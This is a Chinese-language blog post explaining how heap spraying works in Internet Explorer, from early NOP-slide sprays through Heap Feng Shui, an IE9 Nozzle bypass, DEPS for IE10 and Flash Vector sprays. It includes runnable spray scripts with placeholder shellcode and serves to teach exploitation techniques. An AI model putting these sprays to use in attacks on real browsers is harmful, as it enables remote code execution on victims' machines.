zoukankan      html  css  js  c++  java
  • IE下Heap Spraying方法的部分总结

    Before Heap Feng Shui in JavaScript

    在CVE-2004-1050的exploit中,SkyLined使用了heap spraying的方法。这种技术使用JavaScript来创建大量字符串,其中字符串中包含NOP slide和Shellcode。之后JavaScript运行时会在堆中为每个字符串申请一块新的内存来存储这些字符串。堆中的内存分配通常在内存地址空间的起始处开始,并且线性增长。在为字符串分配了200MB的内存后,位于50MB和200MB之间的任何地址都极有可能指向NOP指令区域。使用一个在这段区域的地址来重写一个函数返回地址或者一个函数指针会导致执行流程跳转到NOP slide区域,从而执行shellcode。

    接下来的JavaScript代码会说明这种技术的具体实现过程:

    var nop = unescape("%u9090%u9090");

     

    // Create a 1MB string of NOP instructions followed by shellcode:

    //

    // malloc header   string length   NOP slide   shellcode   NULL terminator

    // 32 bytes         4 bytes           x bytes     y bytes     2 bytes

     

    while (nop.length <= 0x100000/2) nop += nop;

     

    nop = nop.substring(0, 0x100000/2 - 32/2 - 4/2 - shellcode.length - 2/2);

     

    var x = new Array();

     

    // Fill 200MB of memory with copies of the NOP slide and shellcode

    for (var i = 0; i < 200; i++) {

        x[i] = nop + shellcode;

    }

    这种heap spraying的方法也可以通过重写vtable和object pointer来实现利用。如果一个对象指针用来调用一个虚函数,编译器会生成类似于如下的代码:

    mov ecx, dword ptr [eax]    ; get the vtable address

    push eax                       ; pass C++ this pointer as the first argument

    call dword ptr [ecx+08h]    ; call the function at offset 0x8 in the vtable

    我们都知道每个C++对象的前四个字节都包含一个指向虚表的指针。为了能够利用一个重写了的对象指针,我们需要使用一个地址来指向包含一个伪造虚表的伪造对象,并且在这个伪造的虚表里包含指向shellcode的指针。在实际的过程中,我们可以通过以下几步来实现这一过程。首先,使用字节序列0xC来构造NOP slide区域,并且使用一个指向这块slide区域的地址来重写对象指针。在伪造对象的起始地址处的虚表指针会指向0x0C0C0C0C地址,在这段地址的内存中同样会包含字节序列0xC,这样在这个伪造的虚表中所有虚函数指针会重新指向位于0x0C0C0C0C处的slide区域。这样调用对象中的任何虚函数都会导致调用shellcode。

    指针引用的顺序如下所示:

    object pointer-->fake object --> fake vtable  -->  fake virtual function

     

    addr: xxxx     addr: yyyy         addr: 0x0C0C0C0C      addr: 0x0C0C0C0C

    data: yyyy     data: 0x0C0C0C0C  data: +0 0x0C0C0C0C  data: nop slide

                                                  +4 0x0C0C0C0C         shellcode

                                                  +8 0x0C0C0C0C

    在以上的技术中,可以发现SkyLined实现的这种方法的关键在于系统的堆能够通过JavaScript代码进行操作。在《Heap Feng Shui in JavaScript》一文中更进一步的探讨了这种Heap Spraying的相关技术细节,我们将在下一节中进行探讨。

    Heap Feng Shui in JavaScript

    在《Heap Feng Shui in JavaScript》一文中,它指出了上述方法的两个缺点,一个是堆的状态很难预测,这样就不能够保证重写的内存总是会包含相同的数据,在这种情况下,漏洞利用就会失败;另一个是,exploit的可靠性和heap spraying所消耗内存之间的平衡点,对于没有足够物理内存的机器而言,heap spraying会使用大量的page file,从而影响系统的性能,这样的话,如果用户在heap spraying完成之前就已经关闭了浏览器,exploit也会失败。针对这两个缺点,Feng Shui一文进一步研究了IE中堆的内在机制,从而提出一种解决上述问题的方法,让可靠和精确的利用成为可能。接下来,我们首先来看一下IE中堆内存处理的内在机制。

    在IE中,主要有三个模块来处理内存的申请和释放,分别是MSHTML.DLL、JSCRIPT.DLL和ActiveX控件。其中MSHTML.DLL这个库主要负责管理当前显示页中HTML元素的内存,主要是在页面初始化渲染过程和DHTML后续操作过程中分配内存。这些内存是从默认的进程堆中申请的,并且在网页关闭或者HTML中元素销毁后被释放。JSCRIPT.DLL是IE中处理JavaScript的引擎,对于js新创建的对象而言,它主要从固定的js堆中申请内存。而对于字符串的创建而言,它却是从默认的进程堆中申请内存的。不再引用的对象会通过GC来销毁,而GC只有在总的内存消耗量或者对象的数量超过一定的阈值之后才会被触发。当然,GC也可以通过调用CollectGarbage()函数来进行触发。在一些ActiveX控件中,它会使用一个固定的堆来分配和释放内存,但大多数的ActiveX控件都使用默认的进程堆来分配和释放内存。在这三个模块中,他们使用相同的默认进程堆,这意味着可以使用JavaScript来分配和释放内存,从而改变由MSHTML和AcitveX控件使用的堆的内存布局。

    JavaScript strings

    JavaScript引擎大多使用MSVCRT中的malloc()和new()函数来分配内存,这段内存主要位于CRT初始化时创建的一块固定的堆中。但有一个例外,就是JavaScript中的string对象,它所在的内存位于进程的默认堆中。他们以BSTR的形式存储,并且由OLEAUT32.DLL中的SysAllocString系列函数在默认进程堆中申请内存。下图是JavaScript中string内存申请的回溯信息。

    要想在堆中为一个新的字符串分配内存,必须先创建一个新的JavaScript的string对象,而不能简单的将字符串赋值给一个新的变量,因为简单的赋值并不会创建一个新的字符串数据。要想在堆中创建一个新的字符串数据,应该联结两个字符串或者使用substr函数。例如:

    var str1 = "AAAAAAAAAAAAAAAAAAAA";  // doesn't allocate a new string

    var str2 = str1.substr(0, 10);      // allocates a new 10 character string

    var str3 = str1 + str2;             // allocates a new 30 character string

    BSTR strings在内存中的存储是以以下格式组织的,首先包含一个4字节的头用以说明字符串的长度,紧接着的是16位宽字符形式的字符串数据,最后是一个16位的null终结符。以上述中str1为例,其在内存中的存储形式如下:

    string size    | string data                                                    | null terminator

    4 bytes        | length * 2 bytes                                            | 2 bytes

                       |                                                                    |

    14 00 00 00 | 41 00 41 00 41 00 …………… 41 00 41 00 41 00 | 00 00

    由上可知,我们可以使用下面的公式来计算需要为一个字符串分配的内存大小,或者字符串的长度是多少:

    bytes = len * 2 + 6

    len = (bytes - 6) / 2

    根据Strings存储的方式,我们可以封装一个函数,在该函数中通过申请一个新的字符串的方式来分配一个一块任意大小的内存块。在该函数中,我们可以使用len=(bytes-6)/2这个公式来计算所需要的字符串长度,并且调用substr来分配该长度的字符串。具体代码如下图所示。

    // Build a long string with padding data

     

    padding = "AAAA"

     

    while (padding.length < MAX_ALLOCATION_LENGTH)

        padding = padding + padding;

     

    // Allocate a memory block of a specified size in bytes

     

    function alloc(bytes) {

        return padding.substr(0, (bytes-6)/2);

    }

    Garbage collection

    对于操作浏览器堆布局而言,仅仅可以分配任意大小的堆块是不够的,我们还需要通过一种方式来释放这块内存。JavaScript运行时使用了一种简单的mark-and-sweep的垃圾回收机制。GC可以通过多种方式来触发,例如从上次GC运行开始后创建对象的数量。Mark-and-sweep算法会识别在JavaScript运行时所有未引用的对象,并且销毁他们。当一个string对象被销毁时,会调用ELEAUT32.DLL中的SysFreeString来释放内存。下图是GC释放时的回溯信息:

    要想释放我们所申请的字符串,必须删除所有对该字符串的引用,然后运行GC。在IE中,我们可以通过调用CollectGarbage()函数来让GC立即运行,其示例如下图所示:

    var str;

     

    // We need to do the allocation and free in a function scope, otherwise the

    // garbage collector will not free the string.

     

    function alloc_str(bytes) {

        str = padding.substr(0, (bytes-6)/2);

    }

     

    function free_str() {

        str = null;

        CollectGarbage();

    }

     

    alloc_str(0x10000);     // allocate memory block

    free_str();             // free memory block

    上述代码分配一个64KB的内存块,然后释放这一内存块,这说明我们可以再默认进程堆中申请或释放任意大小的内存。尽管,我们只能够释放那些由我们自己申请的内存块,但这已经在足够我们操控堆的内存布局了。

    OLEAUT32 memory allocator

    不幸的是,调用SysAllocString并不总是从系统堆中申请内存,申请和释放BSTR strings的函数使用了一个自定义的内存分配器,并且由OLEAUT32中的APP_DATA类实现。这一内存分配器中包含了释放掉内存块的缓存,并且在之后的内存申请时会重新使用这些内存块。这一点和系统内存分配器中使用的lookaside lists有些相似。

    这一缓存由4个容器组成,每个容器都有6个一定大小范围的内存块。当一个内存块调用APP_DATA::FreeCachedMem()函数释放时,它就会被保存在一个容器中。当容器满了之后,容器中最小的内存块会调用HeapFree()释放,并且由新的内存块取代。对于内存块大小大于32767字节的不会被缓存,总是会直接释放掉。

    当调用APP_DATA::FreeAllocMem()函数来分配内存时,它首先合适大小的容器中寻找一个释放掉内存块,如果一个足够大的内存块被找到,它会从缓存中移除,并且返回给函数。否则的话,函数会调用HeapAlloc()函数来申请一块新的内存。

    内存分配器的反编译代码如下所示:

    // Each entry in the cache has a size and a pointer to the free block

     

    struct CacheEntry

    {

        unsigned int size;

        void* ptr;

    }

     

    // The cache consists of 4 bins, each holding 6 blocks of a certain size range

     

    class APP_DATA

    {

        CacheEntry bin_1_32     [6];    // blocks from 1 to 32 bytes

        CacheEntry bin_33_64    [6];    // blocks from 33 to 64 bytes

        CacheEntry bin_65_256   [6];    // blocks from 65 to 265 bytes

        CacheEntry bin_257_32768[6];    // blocks from 257 to 32768 bytes

     

        void* AllocCachedMem(unsigned long size);   // alloc function

        void FreeCachedMem(void* ptr);              // free function

    };

     

     

    //

    // Allocate memory, reusing the blocks from the cache

    //

     

    void* APP_DATA::AllocCachedMem(unsigned long size)

    {

        CacheEntry* bin;

        int i;

     

        if (g_fDebNoCache == TRUE)

            goto system_alloc;          // Use HeapAlloc if caching is disabled

     

        // Find the right cache bin for the block size

     

        if (size > 256)

            bin = &this->bin_257_32768;

        else if (size > 64)

            bin = &this->bin_65_256;

        else if (size > 32)

            bin = &this->bin_33_64;

        else

            bin = &this->bin_1_32;

     

        // Iterate through all entries in the bin

     

        for (i = 0; i < 6; i++) {

     

            // If the cached block is big enough, use it for this allocation

     

            if (bin[i].size >= size) {

                bin[i].size = 0;        // Size 0 means the cache entry is unused

                return bin[i].ptr;

            }

        }

     

    system_alloc:

        // Allocate memory using the system memory allocator

        return HeapAlloc(GetProcessHeap(), 0, size);

    }

     

    //

    // Free memory and keep freed blocks in the cache

    //

    void APP_DATA::FreeCachedMem(void* ptr)

    {

        CacheEntry* bin;

        CacheEntry* entry;

        unsigned int min_size;

        int i;

     

        if (g_fDebNoCache == TRUE)

            goto system_free;           // Use HeapFree if caching is disabled

     

        // Get the size of the block we're freeing

        size = HeapSize(GetProcessHeap(), 0, ptr);

     

        // Find the right cache bin for the size

        if (size > 32768)

            goto system_free;           // Use HeapFree for large blocks

        else if (size > 256)

            bin = &this->bin_257_32768;

        else if (size > 64)

            bin = &this->bin_65_256;

        else if (size > 32)

            bin = &this->bin_33_64;

        else

            bin = &this->bin_1_32;

     

        // Iterate through all entries in the bin and find the smallest one

        min_size = size;

        entry = NULL;

     

        for (i = 0; i < 6; i++) {

            // If we find an unused cache entry, put the block there and return

            if (bin[i].size == 0) {

                bin[i].size = size;

                bin[i].ptr = ptr;       // The free block is now in the cache

                return;

            }

     

            // If the block we're freeing is already in the cache, abort

            if (bin[i].ptr == ptr)

                return;

     

            // Find the smallest cache entry

            if (bin[i].size < min_size) {

                min_size = bin[i].size;

                entry = &bin[i];

            }

        }

     

        // If the smallest cache entry is smaller than our block, free the cached

        // block with HeapFree and replace it with the new block

     

        if (min_size < size) {

            HeapFree(GetProcessHeap(), 0, entry->ptr);

            entry->size = size;

            entry->ptr = ptr;

            return;

        }

     

    system_free:

        // Free the block using the system memory allocator

        return HeapFree(GetProcessHeap(), 0, ptr);

    }

    上述中APP_DATA内存分配使用的缓存算法存在一个问题,只有当我们自己申请和释放的内存块时,才会导致系统内存分配器的调用。

    Plunger technique

    为了保证每个申请的字符串都来自系统堆,我们需要为每个容器申请6块最大大小的内存块,这样才能够保证所有的缓存容器中都是空的,接下来字符串的内存分配才能保证调用HeapAlloc()函数来申请。

    而如果我们释放掉我们刚申请的string对象,它就会进入其中一个缓存容器中。我们可以通过释放掉先前申请的6个最大大小的内存块,从而将进入缓存容器中string对象清除出去。FreeCachedMem()函数会将所有小一点的内存清除出缓存中,然后HeapFree()会释放我们的string对象。这时,缓存会满,我们需要再次为每个容器分配6个最大大小的内存块来清空缓存。

    事实上,我们使用6个内存块作为活塞来将所有小的内存清除出缓存中,之后我们再次分配6个内存块来填满。

    Plunger technique的实现代码如下所示:

    plunger = new Array();

    // This function flushes out all blocks in the cache and leaves it empty

    function flushCache() {

        // Free all blocks in the plunger array to push all smaller blocks out

        plunger = null;

        CollectGarbage();

      // Allocate 6 maximum size blocks from each bin and leave the cache empty

        plunger = new Array();

        for (i = 0; i < 6; i++) {

            plunger.push(alloc(32));

            plunger.push(alloc(64));

            plunger.push(alloc(256));

            plunger.push(alloc(32768));

        }

    }

     

    flushCache();           // Flush the cache before doing any allocations

    alloc_str(0x200);       // Allocate the string

    free_str();             // Free the string and flush the cache

    flushCache();

    只有当内存块小于对于容器最大大小时,才能将该内存块清除出缓冲,并且调用HeapFree()函数释放该内存块。否则,在FreeCachedMem中的条件min_size<size不会满足,而此时活塞块会被释放。这意味着,我们不能够释放释放块大小为32、64、256或者32768。

    在《Heap Feng Shui in JavaScript》中,其还封装了HeapLib的一个接口,可以方便的使用其提供的API进行Heap Spraying操作,具体内容参加《Heap Feng Shui in JavaScript》。

    Change One Byte String Heap Spraying

    在IE9之前,上述的String Heap Spraying的方法都能够很好的应用,如下所示:

    <SCRIPT language="JavaScript">

     var calc, chunk_size, headersize, nopsled, nopsled_len;

     var heap_chunks, i;

      calc = escape("%ucccc%ucccc");

      chunk_size = 0x40000;

      headersize = 0x24;

      nopsled = escape("%u0c0c%u0c0c");

      nopsled_len = chunk_size - (headersize + calc.length);

      while (nopsled.length < nopsled_len)

         nopsled += nopsled;

      nopsled = nopsled.substring(0, nopsled_len);

      code = nopsled + calc;

    heap_chunks = new Array();

    for (i = 0 ; i < 1000 ; i++)

          heap_chunks[i] = code.substring(0, code.length);

    </SCRIPT>

    但在IE9中,使用这种heap spraying的方法不会奏效。在IE9中,其实现了Nozzle技术,用来检测nop sleds或者检测内存分配是是否包含相同的内容,从而阻止这种情形下的内存申请。

    在Peter Van Eechkhoutte的《Exploit Writing Tutorial Part 11 Heap Spraying Demystified》的一文中,他在heaplib的基础上增加了一点点变化,从而让Heap Spraying能够在IE9下继续使用。他的具体做法是让申请的chunk内存大部分数据都随机化,并且用不同的padding来填充chunk。这样做的话可以很好的来抵抗IE9下的Nozzle防护机制。另外,值得说明的一点是,IE9下引入了jscript9.dll来取代jscript.dll,在jscript9中其对BSTR字符串的处理不再由oleaut32来分配和释放内存,取而代之的是jscript9内在的堆管理机制进行处理。这样的话,我们甚至不需要heaplib来进行内存的分配,而由Peter Van Eechkhoutte的方法,我们只需要改变chunk中的一个字节即可实现string heap spraying。具体实现如下所示:

    <SCRIPT language="JavaScript">

     var calc, chunk_size, headersize, nopsled, nopsled_len;

     var heap_chunks, i;

      calc = escape("%ucccc%ucccc");

      chunk_size = 0x40000;

      headersize = 0x24;

      nopsled = escape("%u0c0c%u0c0c");

      nopsled_len = chunk_size - (headersize + calc.length);

      while (nopsled.length < nopsled_len)

         nopsled += nopsled;

      nopsled = nopsled.substring(0, nopsled_len);

      code = nopsled + calc;

    heap_chunks = new Array();

    for (i = 0 ; i < 1000 ; i++)

    {   

       codewithnum = i + code;

       heap_chunks[i] = codewithnum.substring(0, codewithnum.length);

    }

    </SCRIPT>

    上述代码即可在IE 6/7/8/9中实现heap spraying,具体细节可以参考引用[3]和引用[4]。

    Element’s Attribute Heap Spraying

    在IE10中,以往通过substring或者substr的方式来分配BSTR字符串的方法已经不再奏效,由此Corelan Team提出了《DEPS —— Precise Heap Spray on Firefox and IE10》的方法,之所以称之为DEPS,是因为它通过创建大量的DOM元素,然后将这些元素的属性设定为指定的值从而进行spay,即DOM Element Property Spray。通常我们都使用button元素来进行操作(使用其他的元素也是可以的),它主要包含以下四个步骤来进行:

    1. 在页面中添加一个div元素
    2. 创建一系列的button元素
    3. 使用payload来设置button元素的tilte属性或者className属性或者其他属性,用substring函数本来控制字符串的长度
    4. 将button元素添加到div元素,使之成为其子节点

    <html>

    <head></head>

    <body>

    <div id='blah'></div>

    <script language='javascript'>

             var div_container = document.getElementById('blah');

             div_container.style.cssText = "display:none";

             var data;

             offset = 0x104;

             junk = unescape("%u2020%u2020");

             while(junk.length < 0x1000) junk+=junk;

            

             rop = unescape("%u4141%u4141%u4242%u4242%u4343%u4343%u4444%u4444%u4545%u4545%u4646%u4646%u4747%u4747");

             shellcode = unescape("%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc");

             data = junk.substring(0,offset) + rop + shellcode;

             data += junk.substring(0,0x800-offset-rop.length-shellcode.length);

            

             while(data.length < 0x80000) data += data;

            

             for (var i=0; i < 0x500; i++)

             {

                     var obj = document.createElement("button");

                     obj.title = data.substring(0,0x40000-0x58);

                     div_container.appendChild(obj);

             }

    </script>

    </body>

    </html>

    在实际的应用中,也可以不使用div元素来进行spray,我们可以使用array来进行button元素的创建,这样的效果同将button元素附加到div元素中的效果是一致的,具体代码如下所示:

    <html>

    <head></head>

    <body>

    <script language='javascript'>

             var abutton = new Array();

             var data = unescape("%u0c0c%u0c0c");

             while(data.length < 0x80000) data += data;

            

             for (var i=0; i < 0x200; i++)

             {

                     abutton[i] = document.createElement("button");

                     abutton[i].className = data.substring(0,0x40000-0x60);

             }

    </script>

    </body>

    </html>

    Flash Vector Heap Spraying

    在Fireeye上的一篇博文《ASLR Bypass Apocalypse in Recent Zero-Day Exploits》总结了2013年期间各种漏洞所使用的绕过ASLR机制的一些方法,其中有一种方法是通过修改Array对象来实现的。Array对象的存储机制和BSTR的存储机制有些类似,其前4个字节都用来说明长度。因此,通过这种Array Spray的方法,利用漏洞来修改Array对象的长度从而进行任意地址的读写,可以很好的控制程序流程,进而实现代码执行的功能。

    在这里的Array,可以通过Flash Vector来进行Heap Spraying,也可以利用JavaScript中的各种Array来进行Heap Spraying,这里我们以CVE-2014-0322为样本来分析一下如何利用Flash Vector进行Heap Spraying,漏洞细节这里不再赘述。

    样本中使用uint vector进行堆喷射,每个uint vector占0x1000字节,其中前8字节(前4字节为size字段)为头部,之后为数据,每个vector对象包含1022(0x3fe)个元素。进行大量堆喷射后,内存0x1A1B2000将是某个uint vector起始位置,如下图所示。

    ……

    this.snd = new Sound();

    this.s = new Vector.<Object>(98688);

    ……

    var _local1:* = 4096 / 4 - 2;

    var _local3:* = 0;

    _local2 = 0;

    ……

    var _local4:* = 437985280;

    while (_local2 < 98688)

    {

        this.s[_local2] = new Vector.<uint>(_local1);

        this.s[_local2][0] = 3735928545;

        _local3 = 1;

        this.s[_local2][(16 - 8) / 4] = _local4;

        this.s[_local2][(20 - 8) / 4] = _local4;

        this.s[_local2][(752 - 8) / 4] = 1094795585;

        this.s[_local2][(448 - 8) / 4] = 0;

        _local2 = _local2 + 1;

    }

    样本同样喷射了少量object vector,每个object vector占0x1000字节(1007*4+40+28=4096,其中28字节空闲),其中前40字节为头部,之后为数据,每个vector对象包含1007(0x3ef)个元素。其中object vector每个元素里存放同一个flash.media.Sound对象的引用(实际值是对象地址加1),用来Bypass ASLR及获取控制权,如下图所示。

    _local3 = 0;

    while (_local3 < 1024)

    {

       

        this.ss[_local3] = new Vector.<Object>(_local5);

        _local1 = 0;

        while (_local1 < _local5)

        {

           

            this.ss[_local3][_local1] = this.snd;

            _local1 = _local1 + 1;

        }

        _local3 = _local3 + 1;

    }

    利用Flash Vector技术进行Heap Spray的好处在于,ActionScript中没有用来应对Heap Spray的防护技术,这样的话,只要能够将漏洞转化为一个能够执行写内存操作的漏洞,我们就可以很轻松的利用Flash Vector Spraying技术来绕过ASLR。

    Array Object Heap Spraying

     后续单独补充。

    Others

    另外,还有其他的Heap Spraying的技术,比如JIT、Html5 Spray等等。

    JIT

    Html5Spray

    引用

    1. http://www.exploit-db.com/exploits/612/  CVE-2004-1050
    2. http://www.phreedom.org/research/heap-feng-shui/heap-feng-shui.html 《Heap Feng Shui in JavaScript》
    3. http://www.greyhathacker.net/?p=549 Heap spraying in Internet Explorer with rop nops
    4. https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/ 《Exploit Writing tutorial part 11 — Heap Spraying demystified》
    5. https://www.corelan.be/index.php/2013/02/19/deps-precise-heap-spray-on-firefox-and-ie10/ 《DEPS Precise Heap Spray on Firefox and IE10》
    6. http://www.fireeye.com/blog/technical/cyber-exploits/2013/10/aslr-bypass-apocalypse-in-lately-zero-day-exploits.html 《ASLR Bypass Apocalypse in Recent Zero-Day Exploits》
  • 相关阅读:
    DELPHI 各版本下载
    一个好的网站,学习前端
    没那么难,谈CSS的设计模式
    一个前端的自我修养
    如何学习Javascript
    jQuery WeUI V0.4.2 发布
    微信官方开源UI库-WeUI
    js与php传递参数
    ?js调用PHP里的变量,怎么弄?
    Liferay7 BPM门户开发之23: 了解内置工作流(Kaleo Workflow)
  • 原文地址:https://www.cnblogs.com/wal613/p/3946154.html
Copyright © 2011-2022 走看看